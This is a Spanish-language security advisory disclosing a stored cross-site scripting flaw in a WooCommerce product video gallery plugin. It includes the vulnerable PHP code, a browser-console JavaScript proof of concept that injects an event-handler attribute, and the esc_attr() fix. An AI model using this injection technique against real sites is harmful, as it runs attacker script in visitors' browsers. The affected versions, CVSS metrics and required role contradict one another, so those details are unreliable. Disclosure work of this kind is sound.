
Galería de video de producto para WooCommerce <= 1.5.1.8 - Prueba de Concepto de Cross-Site Scripting Almacenado Autenticado
| Detalle | Valor |
|---|---|
| ID CVE | CVE-2026-10104 |
| Plugin | Product Video Gallery for WooCommerce |
| Vendedor | TechnoSoft Webs (NikHiL Gadhiya) |
| Tipo | Cross-Site Scripting Almacenado (XSS) |
| CWE | CWE-79 — Neutralización incorrecta de la entrada durante la generación de la página web |
| CVSS 3.1 | 4.4 (Medio) |
| Versiones afectadas | ≤ 1.5.1.6 |
| Versión corregida | 1.5.1.9 |
| Requiere autenticación | Sí — Contributor+ (cualquier rol que pueda editar productos) |
| Descubierto por | Ravindu Lakmina Munaweera |
El plugin Product Video Gallery for WooCommerce para WordPress (versiones hasta la 1.5.1.6 incluida) es vulnerable a Cross-Site Scripting Almacenado (XSS) a través del parámetro de metadatos del producto custom_thumbnail.
El método save_wc_video_url_field() del plugin sanitiza el parámetro POST custom_thumbnail[] usando sanitize_text_field(), que elimina las etiquetas HTML pero no elimina los caracteres de comillas dobles ("). En el frontend, el valor almacenado se inserta directamente en los atributos de una etiqueta `` en nickx_get_video_thumbanil_html() sin escape esc_attr(). Esto permite que un atacante autenticado inyecte atributos de manejador de eventos HTML arbitrarios (por ejemplo, onmouseover, onerror) que ejecutan JavaScript en el navegador de cualquier visitante — incluidos usuarios no autenticados — que vea la página del producto afectada.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
| Métrica | Valor |
|---|---|
| Vector de ataque | Red |
| Complejidad de ataque | Baja |
| Privilegios requeridos | Bajos |
| Interacción del usuario | Ninguna |
| Alcance | Cambiado |
| Impacto en confidencialidad | Bajo |
| Impacto en integridad | Bajo |
| Impacto en disponibilidad | Ninguno |
Archivo: public/class-rendering.php
Método: nickx_get_video_thumbanil_html()
// Línea 365 — valor insertado sin esc_attr()
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
: '';
// Línea 379 — renderizado dentro de la etiqueta en el frontend público
echo '';
Archivo: admin/class-video-field.php
Método: save_wc_video_url_field()
// Líneas 309-310 — sanitize_text_field() elimina etiquetas pero NO comillas dobles
if ( isset( $_POST['custom_thumbnail'] ) ) {
update_post_meta( $post_id, '_custom_thumbnail',
array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}
Inicia sesión como Administrador de Tienda (atacante).
Navega a Productos → Editar cualquier producto que tenga una URL de video configurada en el campo "Product Video Url".
Abre las Herramientas de Desarrollo del navegador (F12) → pestaña Consola.
Pega y ejecuta el siguiente JavaScript:
const form = document.getElementById('post');
// Establecer el ID del thumbnail a un valor no vacío (requerido por la condición de renderizado)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }
// Inyectar payload XSS a través de custom_thumbnail
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
Haz clic en "Actualizar" para guardar el producto.
Abre la página del producto en el frontend en una ventana incógnito/privada (no autenticada).
Pasa el ratón sobre el thumbnail del video en la galería del producto.
✅ Se ejecuta la alerta de JavaScript, confirmando el XSS Almacenado.
La " inyectada cierra el atributo custom_thumbnail, y onmouseover se convierte en un nuevo atributo ejecutable en el elemento ``.
Aplica esc_attr() al valor del thumbnail personalizado antes de insertarlo en el atributo HTML:
- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
- ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
- : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
+ ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"'
+ : '';
Esta misma corrección debe aplicarse a todas las instancias en nickx_get_video_thumbanil_html() donde se construye $custom_thumbnail (tanto en la ruta de array como en la de no array).
| Fecha | Evento |
|---|---|
| 2026-03-20 | Vulnerabilidad descubierta |
| 2026-03-20 | Reportado a Wordfence (CNA) |
| 2026-05-29 | ID CVE asignado: CVE-2026-10104 |
| 2026-07-01 | Divulgación pública |
Este aviso se publica bajo CC BY 4.0.